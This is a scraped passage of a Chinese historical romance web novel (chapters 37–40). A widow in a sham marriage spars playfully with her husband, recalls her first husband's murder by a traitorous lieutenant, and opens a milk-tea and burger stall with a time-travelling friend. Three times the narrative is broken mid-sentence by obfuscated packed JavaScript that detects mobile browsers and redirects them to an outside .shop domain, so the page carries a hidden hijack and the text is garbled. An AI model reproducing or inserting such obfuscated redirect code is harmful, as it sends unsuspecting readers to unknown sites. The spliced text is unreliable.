她下意识便想开口宽慰,但理智占据了上峰,她压下心口那股异常的感觉,硬生生将到嘴边的话又咽了回去。 她知道自己此刻该做什么,不该做什么。 她只需要感激柳大人就够了,多余的关心会加深两人的羁绊,这样不好。 柳大人只是她名义上的夫君,她不该对柳大人产生感激之外的感情,否则两人整日相对怕是会尴尬万分。 沈婉仪想,若是刚刚柳大人为她披上大氅时她早些将他推开,或许她刚刚心跳便不会跳得那样快了。 她不敢去看他此刻的神情,只轻轻握紧了拳,让自己的声音尽量保持平稳,“……有劳大人了。” “明日霁月的铺子开业,我得去帮忙,就先去准备歇息了。” 柳青砚“嗯”了一声,沈婉仪还以为今晚的对话可以在此刻结束,准备转身离去。 谁知她不过刚转身,就听见柳青砚轻飘飘问了一句,“阿婉,梁将军的那副画像,是你画的吗?” 这声音听不出喜怒,沈婉仪也不知他为何忽然问起此事,但这也不是什么需要遮遮掩掩的事,于是她回过身如实答了。 “是我画的,有什么问题吗?” 柳青砚脸上终于又出现了那熟悉的温和笑容,“没什么问题,只是觉得这副画像将梁将军画得惟妙惟肖,想来定是熟悉之人的手笔,并且此人的画技一定相当精湛,要不然也画不出梁将军的英姿飒爽来。” 他这话说的可是相当有水平了,既赞扬了沈婉仪的画技高超,又夸赞了梁钺的风姿俊朗,将沈婉仪瞬间就抬了起来。 沈婉仪面色微微发烫,往日在沈国公府的时候,除了她父母和梁盈也没几个人见过这幅画,今日若不是是急从权,她也不会将这副画拿出来。 “大人过誉了。” “阿婉不必妄自菲薄。”柳青砚脸上笑意不减,“只是我生辰时,不知可否厚着脸皮向阿婉讨要一副画作?” 他说这话时,脸上笑容依旧,语气平淡地像是随口一提。 他不久前才慷慨地将佛堂拿给她祭拜梁钺,刚刚又将她抬得这么高,拒绝的话在此刻根本就说不出口。 沈婉仪几乎没什么犹豫地就答应了下来,“当然可以。大人帮了我这么多忙,从未向我讨要过什么,如今好不容易等到大人主动开口,我自然会倾尽全力。” “只是不知,大人的生辰是几时?” “腊月二十六。” 沈婉仪颔首,重复了一遍,“腊月二十六啊......” 意识到什么,她语调忽地上扬了几分,“腊月二十六啊?!” 现在已是十月份,也就是说,只有不到三个月的时间了。 她这惊慌失措的模样,倒是与一贯地沉着冷静的她大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148277|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不相同,连带着面上都多了几分生气。 柳青砚脸上终于有点真情实感的笑意,他宽慰道,“是时间太短了吗?若是这个原因,那当成明年的生辰礼物也是可以的。” 沈婉仪凝眉,语气里带着几分认真与坚持,抬眸望他,“这怎么行?” 她不过才答应了下来了片刻,转头又告诉他不行,这岂不是相当于自己打自己的脸吗?她不愿如此。 柳青砚倒是没想到她拒绝地如此果断,听到这话也是几不可察地挑了挑眉。 他轻轻眨眼掩去眸底一闪而过的讶异,抬眼时眼底已经荡开浅淡温和的笑意,他缓和地应道,“那便由阿婉决定吧。” “阿婉不是明日还要忙吗?我就不留在此处打扰了,阿婉早生歇息吧。”他说着便起身朝着门外走去。 这段时日他即使再忙也一直留在正房歇息,他忽地来这一出,沈婉仪几乎是下意识问了一句,“你不在此处歇息吗?” 柳青砚朝门外走的步伐猛地顿住。 沈婉仪说完,后知后觉地发现自己这话或许会引起误会,她本意只是单纯想问他为何今夜不在此处歇息,可是有什么要事,但她这样一问,柳青砚听了或许会以为她是在挽留他呢。 她刚说完便深觉不妥,她忙不迭地解释道,“我是想问你......” 可惜已经迟了。 “阿婉,你是在留我吗?” 柳青砚清越的声音响起,他缓步回身,脚步不紧不慢地朝她走近了两步,沈婉仪与他的距离骤然拉近,她甚至能闻到他身上清浅的松墨香。 沈婉仪抬眼撞进他含笑的眸子里,原本已经打好的腹稿瞬间变得语无伦次了起来,“我不是那个意思......” “哪个意思?” 柳青砚那双眼素来温润平和,此刻却像一潭深不可测的泉水,轻易便能将人溺进去。 “额......” 哪个意思来着,他离她离得太近,沈婉仪此刻的脑子里宛如一团浆糊,她别开头,试图躲开他这扰人的视线。 她一扭过头,柳青砚的目光瞬间便落定在她泛红的耳尖与紧抿的唇上,他的眸色深了几分。 “我是想问大人今晚的歇息的地方可有安排好?是否还需要下人去准备?” 避开了柳青砚的视线,沈婉仪的脑海也清明了几分。 柳青砚一开始便猜到她不是这意思,故意曲解她的话,只为看她为自己手足无措、慌乱解释的模样。 此刻见目的已达到,他低低笑了一声。 沈婉仪与他本就挨得十分近,他这一笑,那笑声清润悦耳,落在她的耳畔竟带了几分酥麻。 她不知他为何失笑,疑惑地看向他,他刚刚那摄人心魄的眼眸此刻轻轻眨了眨,眼尾微微上挑,明晃晃的戏谑便这般毫无遮掩地泄露了出来。 他是故意的。 沈婉仪心头微恼,很想发作,但却找不到一个由头,因为是这引起歧义的话是经她口中说出来的。 她最后只好轻轻抿了抿唇,转过身去,冷声道,“大人也早生歇息吧,我就不送大人了。” 38. 第 38 章 柳青砚见她这模样,知道定是惹恼了她,于是连忙绕至她身前道歉,“阿婉,对不住,我......” 沈婉仪抬起淡漠的双眸瞥了他一眼,柳青砚被这一眼看得瞬间定在了原地,她这眼神和那些旖旎梦境里面她看他的眼神一模一样。 “大人不用道歉,确实是我言语有失在先。” 或许在梦里面跪得久了,现在明明自己站着身量比她高的情况下,柳青砚却觉得此刻自己面对她时仍然在仰望。 如梦境中一样,他下意识向伸手去触碰她,“阿婉,你别生气......” 沈婉仪面无表情地避开了他伸过来的手,声音冷得没有一丝温度,“我没有生气,我想歇息了,大人请便吧。” 赶客之意相当明显。 柳青砚的手就那么僵在半空中,但他脑中却止不住地想,若是此刻再激怒她,她会和梦中一样鞭笞他吗? 虽说梦里的他感觉不到疼痛,可是那鞭子落在他身上时,他还是会控制不住地浑身一颤。 若是那样的话......他为什么非但没有害怕,却还有隐隐约约的兴奋呢? 沈婉仪半天没等到他的回应,也没看到他有离开的意思,索性懒得理他,转身走到一旁坐下给自己倒了一杯水。 待她喝完,见面前的人仍是呆若木鸡地站着,不由地轻声催促,“大人,夜已深了,还不走吗?” 柳青砚僵了许久的身体此刻终于有了动作,他上前一步在沈婉仪面前屈膝蹲下,让她可以自然而然地俯视自己。 为着这个姿势,沈婉仪只能居高临下地看着他。 也为着这个姿势,柳青砚的眼尾此刻微微垂着,眼睑也轻轻弯着,往常清冷锐利的眸子此刻竟然看上去圆润又透亮。 他喉结滚动,声音有些哑,“阿婉,我被临时调去参与一桩案件的会审,那案子后日就要审了,我昨日才拿到卷宗。” “案件细枝末节纷繁错乱,我一连两日都还没有看完,所以今夜便不能歇息了,须得熬夜将卷宗看完才行。” “我刚刚不该捉弄你,你别生我气了,好不好?” 他的声音放得又轻又软,尾音还带着轻微上挑的尾调,湿漉漉的目光紧紧黏在她的脸上,又乖巧又温顺,像是犯了错误在她面前撒娇求饶的小狗。 他这......是在撒娇?!堂堂御史中丞柳大人竟然在他面前撒娇?! 沈婉仪哪里见过这种阵仗? 她认识他也大半年了,从未想过他竟然还有这样的一面,他这副模样,很难让人想象出他在朝堂之上是如何声色俱厉地弹劾别人的。 她微微低头打量着他,心想他若是有尾巴,想必此刻应是摇个不停了,她在脑海中想象了一下那个画面,一向端方自持的柳大人若是摇着毛茸茸的的大尾巴...... 她的唇角不自觉地弯了起来,柳青砚被她这恍若春雪消融的笑容看得微怔。 沈婉仪也察觉到自己的唇边的笑意,索性也不再故作冷漠,她起身将柳青砚扶起,笑得眉眼弯弯,“大人捉弄我一回,我也捉弄大人一回,这就算扯平了。” 柳青砚听到这话仍是发愣,“......捉弄?” “总不能因为这等小事真的生大人的气吧?” 沈婉仪想起刚刚柳青砚那模样,嘴角的笑意又深了几分,“若不是故作生气,想来应该很难看到大人刚刚那副模样吧?” 柳青砚的耳朵只抓住了几个关键词,他渐渐回过神来,“故作生气?阿婉,你没有生气吗?” 沈婉仪一直以为自己的演技也就在梁盈面前够用,没想到能被她唬住的人现在又多了一个。 她见他这不断确认的模样,忽然觉得自己刚刚是不是装的太像了些,竟要他如此反复求证,心里软了一瞬,不禁有些后悔捉弄于他了。 于是她说出的话也软了几分,“没有。” “大人不是还有卷宗要看吗?就别在此处耽搁时间了,快去吧。” 柳青砚见她眉目舒展的样子不像作假,悬着的心这才稍稍落下,目光在她脸上流连好一会儿才温声道,“阿婉,那你好生歇息。” 他说完,缓步向门外走去。 芸香进来的时候,沈婉仪仍坐在凳子上想着刚刚柳青砚那副模样发笑,连芸香唤她的声音都没听见。 她最后提高了声音道,“姑娘,热水烧好了。” 沈婉仪被这一下喊回神来,脸上的笑意都尚未褪去,“啊?好。” “对了,阿盈睡了吗?” 芸香答,“兰黛守着呢,小姐已经睡下了。” “好,待会洗完我也准备歇下了。” 沈婉仪说着便抬手将衣衫轻轻褪下,赤身抬脚缓缓迈入浴桶之中。 水汽氤氲,满室暖香。 沈婉仪闭目靠在浴桶边沿,温热的水漫过胸口,鬓边碎发被水汽濡湿,软软贴在颈侧。今日折腾了一身的疲惫被暖意渐渐化开,她长长舒了口气,眉眼间不自觉染了几分浅淡的柔和。 芸香上前,用温热的巾帕沾了水,替她缓缓按揉肩头,力道轻柔适中,舒服得让她昏昏欲睡。 她想着刚刚进来时自家姑娘脸上那一闪而过的笑意,不由好奇心作祟,开始悄悄打探,“刚刚进来时瞧着姑娘心情格外好,可是遇上什么开心事了?” 说起这个,沈婉仪的睡意瞬间便清醒了几分,她也有些后知后觉,“我刚刚,很开心吗?” 芸香想着她刚刚进来看到的那一幕,肯定地给出了回复,“姑娘看着是很开心呢。” “我本来还担心今晚那陈伯提起姑爷......”说到一半,她猛地捂住了嘴,屋子里一时安静下来。 芸香顿了片刻,脸上掠过几分懊恼,连忙道歉,“抱歉,姑娘。瞧我这张嘴,真是不会说话,好好的提这些做什么,平白惹姑娘心里难受。” 沈婉仪搭在浴桶上的手轻轻拍了拍她的手背,“不用道歉,也不是什么绝口不能提的事。” 沈婉仪侧了个身,将下颌轻轻放在自己的手背上撑着,透过氤氲的雾气又想起那个午后的那个梦来。 “芸香,你说,梁钺要是知道我现在嫁了人,他会不会气得活过来找我?” 芸香愣了愣,一时不知如何接话。 沈婉仪也没有为难她,她笑了笑,自言自语道,“我这话很傻吧。” 她捧起一捧温水,任由清澈的水流从指缝间慢慢淌落,“人死不会复生的道理我还是懂的,梁钺他......” 话音微顿,掌心的水一滴不剩落回桶中,她才轻轻吐出后半句,轻得像一片落雪,“不会回来找我。” 明明已经过了好几年,可沈婉仪现在都还能清楚地记得梁钺走时留下的那句“阿婉,你等我回来。” 沈婉仪现在想起这句话,不由地叹了声,“他最后还是当了一次骗子。” 芸香终于开口,她恨恨道,“姑爷他明明可以回来见姑娘的!若不是因为遭小人暗算,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167847|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里会落得个......” 尸骨无存的结果。 芸香拍了拍自己的嘴,改了口,“哪里会和姑娘阴阳两隔!” 三年前临羌城一战,梁钺其实并没有死在战场上,他是在班师回朝的路上,被身边人与敌人里应外合联手算计至死。 那个身边人就是他的副将,袁孝先。 据他的另一个副将刘忠带回来的消息,那日凯旋的部队在回程路上扎营休息时,袁孝先以一起方便为由将梁钺骗了出去,待众人发现寻到人时,便正好看见袁孝先将胸口上插着刀的梁钺推下了万丈高的悬崖。 按理来讲,以袁孝先的身手是制服不了梁钺的,更别说将他推下悬崖了。 可此人坏就坏在以此处,他在梁钺身边跟了他七八年,知道以两人的关系梁钺不会对他设防,于是早在约梁钺出去之前,便在他的水壶里下了药,无色无味的毒药。 被下了药的梁钺当然不是他的对手,或许是想毁尸灭迹,袁孝先便将人带到了山顶,推下了悬崖。为了确保梁钺的死亡,他甚至在将人推下悬崖之前,还在他的胸口上补了一刀。 这都是众人刚寻到山顶之后看到的事,那时已经来不及阻止了。 被发现后袁孝先倒也坦荡,面对众人激愤的质问,他只目光沉沉地看了人群一眼,留下一句“我早就想这样做了。”便自裁谢罪了。 刘忠当机立断,立即派人到崖底搜寻,奈何那悬崖壁立千仞、险峻异常,崖下更是荒草没径、人迹罕至,连条像样的山路都没有。 众人披荆斩棘、费尽周折,等下到崖底时,已是一两天之后,只寻到一具被野兽啃得面目全非的尸身,早已辨不出原本模样,只能凭借身上仅存的破衣烂衫和胸口上插着的那把匕首认出那是梁钺。 沈嘉禾带回来的便是这具尸身,还有他的遗言。 遗言是梁钺早在第一次上阵就写好了的,他怕自己在战场上被炸得粉碎都不敢将其带在身上,他把它缝了自己的枕头里,走到哪儿都带着。 临羌城的这一战,时间拖得太久,圣上最后将沈嘉禾也一起调了过来,战况最激烈之时,梁钺把这个秘密告诉了沈嘉禾,以防自己有任何不测。 好在最后他们赢了。 遗憾的是这个秘密最终还是派上了用场。 芸香想到这一切,根本控制不住自己脸上的表情,姑娘和姑爷明明是什么天造地设的一对,全部都是因为那个姓袁的才会被害得阴阳相隔! 小姐那么小的年纪,连自己的父亲都没见过几面,便永远失去了自己的父亲,这姓袁的害得姑娘家破人亡,连畜生都不如! 芸香拍了一下浴桶,咬牙切齿道,“这姓袁的最后自裁实在是太便宜他了!他也定是知道自己活着会被处以极刑,才一早选择了这轻松的死法!” “想当初,姑爷对他多好,他这个副将的位置都是姑爷一手提拔上来的,却没想到竟是提了一个白眼狼!” 芸香捏成拳头的手猝然又砸了下浴桶,“要我说,他这种背信弃义的人就应该千刀万剐!” “可惜他死了。”沈婉仪的声音有些轻颤,“甚至还没来得及问他到底为何这样做,他就已经死了。” 芸香提起的这个人,袁孝先,沈婉仪总共也没见过几回,现在想起来记忆都有些模糊,但见面的那几次,他给她留下的印象都是挺憨厚老实的一个人。 所以当沈婉仪知道杀死梁钺的凶手是谁时,她几乎是以为自己听错了名字。 39. 第 39 章 当年梁钺身死的消息传回上京时,朝野上下无不震惊,圣上更是惊怒非常,他那时才收到梁钺他们凯旋的消息不久,正筹划庆功宴如何安排,结果却等来了庆功宴主人公身死的消息。 这让他如何不怒?! 于是他当即下令将袁孝先的尸体带回枭首示众,并诛其三族。 哪知抓捕的人到了他们家,却连一丝人影都没看见,大理寺细查之下才知袁孝先的父母妻儿早已于几个月之前就被一神秘人安排着出了城。 或许是举家迁走怕引人注目,他们甚至是在不同时间走的不同城门,出城后走的方向也不一致。 但探子顺着他们留下的痕迹一路探查过去,才发现他们一家人最后的目标都是向南走的,且最后被人安排着出了齐国,现下已经是了无踪迹了。 这些消息传回上京,但凡长了脑子的人哪里还不知道袁孝先做了什么,他这分明是已经叛国了! 萧启珩在收到这道写满袁孝先通敌叛国的奏折之后,气得将手中的奏折狠狠砸在地上,“杀了朕的大将军,再拿自己之死,换得全家在异乡享受荣华富贵,度过余生,朕的这副将可是打得一手好算盘啊!” 他周身的气场压得人喘不过气来,朝臣全都战战兢兢地跪下,没有一人敢站出为袁孝先说话。 “只带走了父母妻儿......”萧启珩冷笑一声,厉声喝道,“传旨下去,袁孝先通敌叛国、卖主求荣,罪无可赦,将其尸身拖至闹市凌迟示众,并株连九族,所有尸首一并弃于乱葬岗,以儆效尤!” “凡胆敢私自收尸、暗中掩埋者,一律同罪论处,杀无赦!” 此言一出,底下的人瞬间噤若寒蝉,既对袁孝先这般惨烈的下场感到惊惧,又恐圣上的滔天怒火烧到自己身上。 沈婉仪那时在府里听到圣上处置袁氏九族的消息,脸上却一点大仇得报的快意也没有,杀人的凶手早就已经死了,现在处置的那些人不过是作为圣上愤怒宣泄的出口罢了。 但她从父亲那里将消息全部听完后,瞬间抓住了其中的关键,她的声音里压着难掩的急迫,“可查出那神秘人的身份?” 面对女儿的质问,沈正年叹了一口气,他能感受到女儿此刻的悲痛和激愤,但却毫无办法,“如此重要的线索,圣上当然也派人去查了,但......” 他不敢去看女儿那泛红的双眼,“但是追查多日,只知那人带着兜帽和面罩,浑身裹的严严实实,根本无人知晓他的身份。” “更坏的是,那人最后也出了齐国,现在也是无处去寻了。” “不过那神秘人倒是没有将袁孝先妻子杨氏的亲人一同带走,圣上派了人暗中看守,若是那杨氏有朝一日回来,便可以第一时间发现。” 沈婉仪现在想起父亲告诉她的这几句话,仍是心口发闷,全身冰凉,感到无力。 她往下缩了缩,让整个脖颈下的身体全部泡在热水里,仿佛这样就能缓解她身上的那股冷意。 芸香见到她如此举动,不禁心头一酸,蓦地想起她最初的问话来,她柔声道,“姑娘,姑爷他就算知道姑娘如今嫁了人,也不会生气的。” 想到梁钺的遗言,沈婉仪笑了笑,“说的也是。”但脑海中忽地又浮现出梦里他那般缠人的模样,“不过也说不定,梁钺他向来是心口不一的。” 沈婉仪轻叹一声,缓缓从浴桶中起身,“但这些都不重要了。“ 芸香见状拿来帕子替她擦拭,一边擦一边不解地问,“姑娘为何说不重要?” 她说着边招呼门外候着的下人将浴桶挪出去。 沈婉仪擦干身体,穿上寝衣,“因为早在梁钺祭日时,我便去他的牌位前将这桩婚事的真相告诉了他。” 所以刚刚柳青砚问她时,她将实话告诉了他,按照她一开始的打算,她是真没想带着他去见梁钺的。 若是说真成婚倒也罢了,好歹还能在梁钺面前介绍两句,说她有按照他的遗言在好好生活。 偏偏她和柳青砚是假成婚,实在没有介绍的必要。 芸香想到她刚刚进来看到的那一幕,轻轻说了一句,“若是姑娘欢喜,假戏......” 沈婉仪此时已经上了床榻,“芸香,我要歇息了,你将蜡烛熄了出去吧。” “是,姑娘。”芸香果断地闭上了嘴,将原本要说的后半截话咽回了肚子里。 * 卯时刚过不久,沈婉仪便睁了眼。 昨夜这繁忙的一夜,并没有耽搁她起床的速度,也不知是不是今日开业的店铺是她着手参与打造的缘故,她从睁开眼开始便一直处于一种很兴奋的状态。 沈婉仪感受着自己的心跳,这样的心情她已经许多年没有出现过了。 她今日的打扮很是干净利落,都是为了方便做事的装束。迅速收拾好自己后,她便径直向一早等候在府门前的马车走去。 梁盈的私塾是今日休息,而柳青砚为了准备明日的会审,今日也特意告了假留在府中,沈婉仪把芸香和兰黛留下来陪着女儿,自己便安心出门了。 路过书房时,她见里面还亮着灯,猜测柳青砚定是熬了一宿,于是顺便让人煮了一碗安神汤送过去。 离府前,她想起来自己昨日似乎忘记告诉梁盈她今日的去处,于是特意吩咐芸香,若是她问起她的去处,便告诉她自己去帮她江姨了,让她乖乖在家中等着她回来。 梁盈沈婉仪其实是放心的,她只偶尔做了噩梦醒来时会黏着她一些,大多时候只要有人陪着她玩,她便能够高高兴兴地玩上一整日,不会出现那种撒泼打滚要来找她的情况。 她赶到怀安街的时候,江霁月已经把炉子都烧得差不多了。 于是两人立即开始分工,江霁月负责将昨夜发酵好的面团做出来,该烤的先送进面包窑烤上,沈婉仪则负责把饮品做出来备着。 由于还是大清早,原本预备卖的杨枝甘露和金桔柚子茶江霁月让她先不用做,只需把热的奶茶先熬煮出来,小料也可以先煮出来备好。 不消片刻沈婉仪便明白了江霁月叫她这么做的缘由,现下已是十月,早上起来大多数人还是会选择吃热的食物,喝冷饮的应是少数。 奶茶的制作倒是简单,经过这些时日的磨练,沈婉仪迅速用江霁月特意找人制作的陶锅熬煮了三锅出来。 江霁月还特意找人制作了简易的保温桶,虽保温的时间不长,但她们的摊位上都还有小炉子,所以完全够用了。 沈婉仪左右开弓,一只炉子熬煮奶茶的同时,另一只炉子便被她拿来熬煮小料。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178034|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人所做的食物大多都要用上木薯淀粉,就连这些小料也不例外。为了今日不那么忙乱,两人特意提前半月采购了百来斤的木薯,雇了四个人将其全部磨成了浆,再将沉淀后的水倒掉,取沉淀物晒干做成了木薯粉。 一百来斤的木薯也就做出了二十斤左右的木薯淀粉,虽然算不上多,但是也够两人用上一段日子了。 沈婉仪将所有的东西都备好时,江霁月准备做汉堡的面团也刚好揉好在一旁等待二次醒发。 等待的时间里,两人再次分工,江霁月开始做蛋挞,沈婉仪开始做麻薯。 蛋挞由于既要制作酥皮又要制作里面的蛋挞液,工艺比起麻薯要复杂不少,麻薯比起蛋挞先做好是再当然不过的事。 江霁月在制作蛋挞液时,沈婉仪也没闲着,她把刚刚醒发好的面团送进了面包窑。 两人早就商量好了,她们做的这些食物无论是吃的还是喝的对于上京人来说都比较新奇,不确定能不能广受欢迎,所以今日她们并不打算做很多的存货。 除去用来做试吃的小样,她们刚刚做的这些,汉堡和蛋挞都是二十八个,麻薯要多一些,是三十六个,喝的奶茶三种口味加起来大概能有六七十碗。 今日的目标便是将这些东西全部卖完,若是卖不完,便由沈婉仪拿回去让愿意要的下人来自己领。 这些都是已经做好拿来卖的成品,再不是之前的那些瑕疵品,所以沈婉仪拿回去给下人她也没有那么不好意思了。 她们今日是开业第一日,江霁月便与她商量好了要做一些噱头来吸引客人,她去集市上扯了块最便宜的布,在上面写上“即日起至十月十五,本店所有吃食第二份半价”拉起来撑在了她们摊子的头顶上。 这个提议是沈婉仪提出来的,江霁月听到她说的这个优惠时最初有些犹豫,她问,“我看别的店铺开业时这种优惠持续的时日一般都是三日左右,婉婉,我们做七日的话会不会有些太长了?” “不会,只多了几日而已。时间长只是前期投入的成本会大一些,这些我可以来负担。” 江霁月有些赧然,”婉婉,你投入的成本本来就占了八分左右,这样的话你投的就更多了。” 沈婉仪抬了眉头,“别分你的我的,我拿给你的你尽管用就行了,不够告诉我。” 江霁月噗嗤一声笑了出来,“婉婉,你知不知道你现在的样子特别像我们那里的一种人?” 沈婉仪疑惑,“哪种人?” “霸道总裁。” 江霁月又向她介绍了霸道总裁为何物,沈婉仪这才知道她在调侃她。 她倒没有因此恼怒,只是有些不好意思,“婉婉,我只是想告诉你,钱方面的事你不用担心,你想做的尽管去做就行了。” 江霁月猛地跑过来抱着她晃个不停,激动得根本控制不住自己的声音,“婉婉,你最好了!” 她刚说完,趁她不备忽地又在她的耳边轻轻留下一句,“婉婉,你这样更像霸道总裁了。” 气得沈婉仪终于忍不住抓住她,开始挠她的痒痒肉。 江霁月笑得眼泪都快飙出来时,沈婉仪才终于放过了她。 思绪拉回时,沈婉仪已经同江霁月把做好的奶茶和小料先端去了门前的摊子上。 40. 第 40 章 她们的铺子比较简单,一左一右各支起两个小摊位,一边专做奶茶,一边卖汉堡,两边各放置了一只小炉子。 虽说是小炉子,但实际上并不算小,奶茶这边这炉子光是江霁月订做的小陶炉都能放三个上去。 而汉堡这边的这炉子,江霁月特意让工人给她做的稍微长了一些,她还专门定制了一个能配得上这炉子的长方形平底铁铛,就为了可以方便煎肉饼。 这个形状的平底铁铛在上京城并不常见,但若是有江霁月老家的同胞看到,一眼就能认出来这是什么。 这便是现代夜市大排档常见铁板烧的铁板。江霁月特意订做来煎肉饼和面包的,用这个来煎东西比一般的铁锅要方便许多。 东西全部挪出来后,江霁月把事先准备好的价格牌也拿出来摆上,这样明码标价就不愁有些客人不好意思来问了。 两人忙完这些,天也渐渐亮起来了。 所有东西全部准备就位时,江霁月侧头看了看沈婉仪,她问,“婉婉,你真的不用进去吗?其实你在里面帮忙也是可以的。” “不用,不然你一个人在此处忙不过来的。” 沈婉仪知道她在担心什么,无非是担心她作为一个已婚妇人在此处抛头露面,但凡有碎嘴的将她认出来,这上京城以后关于她的流言蜚语定是少不了了。 其实两人之前在做开店准备时,就这个问题就已经沟通过了。 那时江霁月的设想是,她在外面摆摊,沈婉仪在里面帮忙,然后她再去找江湖艺人给她做个人皮面具,这样就没人可以认出她来了,她回江府的时候也不用接受盘问了。 虽说她之前去沈国公府的时候,沈氏夫妇都待她极好,但江霁月想若是这两人知道她将她们唯一的宝贝女儿拐出来和她一起在这人来人往的街道上摆摊,她到时候再去沈国公府指不定会被人赶出来。 毕竟这里可不比人人皆可创业的现代。 若是沈婉仪是普通人也就罢了,可偏偏她还是沈国公的女儿,现在还是御史中丞的夫人,虽说后面这个身份是徒有其表,可是她这样的人怎么看也该是在府里操持全家的主母,而不是在这与她一起摆摊营生的贩夫走卒。 江霁月穿越过来这么久,也算是见识过人言可畏的威力。 更何况士农工商,商排在最后,以沈婉仪的身份和地位她本该排在前面。 说起这个问题时,沈婉仪已经和柳青砚成婚了,提到这个,她笑了笑,“长辈们常说,在家从父,出嫁从夫。到时回去若是父亲母亲问起,我就说夫......柳大人也支持我这样做,他们定然说不出话来了。” 江霁月听得眼睛发亮,眼里满是促狭,她指了指她,笑着道,“以彼之矛攻彼之盾。婉婉,你可以呀!” “霁月,你还说我呢,你想好若是被江大人发现,回去该怎么办吗?” “嗯......大概率回去之后又要被毒打一顿了。”江霁月还是挺了解被她称作“爹”的这个人的,“而且按照我爹的作风,大概率会把我打到下不来床,好让我不出来丢人现眼。” 沈婉仪脸上的笑容彻底收了回去,“那你还这么云淡风轻?!霁月,你回去之后将这些全推到我身上吧,说是我逼你,你才不得已这样做的。” “不用,他想通过你巴结你爹呢,只要他知道我是在帮你忙,就屁都不敢放一个。” 沈婉仪还是有些担心,“我虽无所谓,但若是之后那些闲言碎语传出去,你爹不想再与沈国公府有牵连,你恐怕也会被要求与我割席。” 江霁月摇了摇头,将他爹的那点小心思看的一清二楚,“他之前升上来本就是走的你爹的关系,稍微有点眼力见的人都知道这事,况且我还来你家跑得这么频繁,在别人眼里我们两家毫无疑问是绑在一块的。” “他之后若是见风使舵,他这官位差不多也做到头了。毕竟,谁会闲着没事去提携一个墙头草呢。” 江修远虽能力有限,但这点道理他还是懂的。 她轻松道,“所以婉婉,你不用担心啦。” ...... 她说的那些话犹在耳畔,沈婉仪想再给她吃一颗定心丸,道,“霁月,你不用担心我,我......” “姑娘,你这卖的是加了红枣的牛乳吗?” 沈婉仪原本还侧着头和江霁月说这话,突然被这么一问,愣了一下才反应过来,她温柔解释道,“是,里面还有茶汤,这位大哥,你要来一杯吗?” “还有茶汤?”中年男人又看了看,咂了咂嘴,“算了,我还是去买杯豆腐浆吧。"随即便背着手大摇大摆地走了。 沈婉仪原本还以为要开张了,没有卖出去她有些失望。 江霁月见到她的表情,拍了拍她,“没事,迟早会卖出去的。你是不是也还没吃早饭?” 沈婉仪点了头,她刚刚来得急,没吃任何东西。 “那趁现在还没人来买,我先给我们两个一人做一个来吃。” 沈婉仪失笑,没想到今日最先做出的两个汉堡竟是进了她们两个的肚子。 肉饼一贴到滚烫的铁板上,“滋啦”一声轻响,油脂与肉香瞬间炸开,混着面包的焦香,一股旁人从未闻过的鲜气直直往人鼻子里钻。沈婉仪也倒了两碗奶茶,搁在小陶炉上温着,奶香混着茶香也开始四散开来。 她们两人这摊子上的器具本就有些少见,再加上这几股香味越飘越远,不消片刻,就有许多行人放慢了脚步,渐渐朝着这边围了过来,。 现在这个时间正是上人的时候,出行的,采买的,上值的,游玩的全都出来了,怀安街上顿时热闹起来。 江霁月敏锐地察觉到了这些投过来的视线,立马扯开嗓子开始招呼,“走过路过不要错过,新店开业,所有吃食第二份半价了欸!” 最先围过来的一个妇人道,“姑娘,你们这是在做什么吃食?这般香。” 江霁月见旁边人也都好奇地看着,立刻扬起笑,拿起刚煎好的一个汉堡晃了晃解释道,“大娘,这叫汉堡,通俗点讲就是肉夹馍,不过我这‘馍’里面除了牛肉饼,还有番茄、黄瓜、生菜和我们自己研究的酱料。” “这么多东西?配在一起能好吃吗?”大娘狐疑地看着。 “大娘,我们这有小块试吃的,您可以先尝尝看。”江霁月说着,将装着切了汉堡的盘子递了过来。 她随即给沈婉仪使了个眼色,沈婉仪立即心领神会,将小杯的奶茶一起端了过来。 “我们这吃的喝的都有啊,大家可以来免费尝尝看。” 众人一看可以吃免费的,一哄而上,两个切开了的汉堡和八个小杯装的奶茶瞬间被洗劫一空。 不过做试吃的好处也顷刻间体现了出来,原本还在犹豫的大娘在试吃之后,瞬间便做出了决定,“姑娘,给我来一个你说的这个什么......” 江霁月适时接上,“汉堡。” “对,再来一碗这个加了红枣的牛乳吧。” “好嘞。大娘,请问你是留在这里吃,还是拿走吃?” “就在这里吃吧。” “好,大娘,请你稍等一会儿。” 两人开业的第一单生意便来得如此猝不及防,江霁月和沈婉仪相视一笑。 刚刚试吃过的人,也有的在试吃过后选择购买。 “姑娘,也给我来一个你的这个肉夹馍呗。” “好嘞。” “给我也来一个,我的那个不要黄瓜。” “好嘞。” “我也要一个,再给我来碗茉莉味的奶茶。” 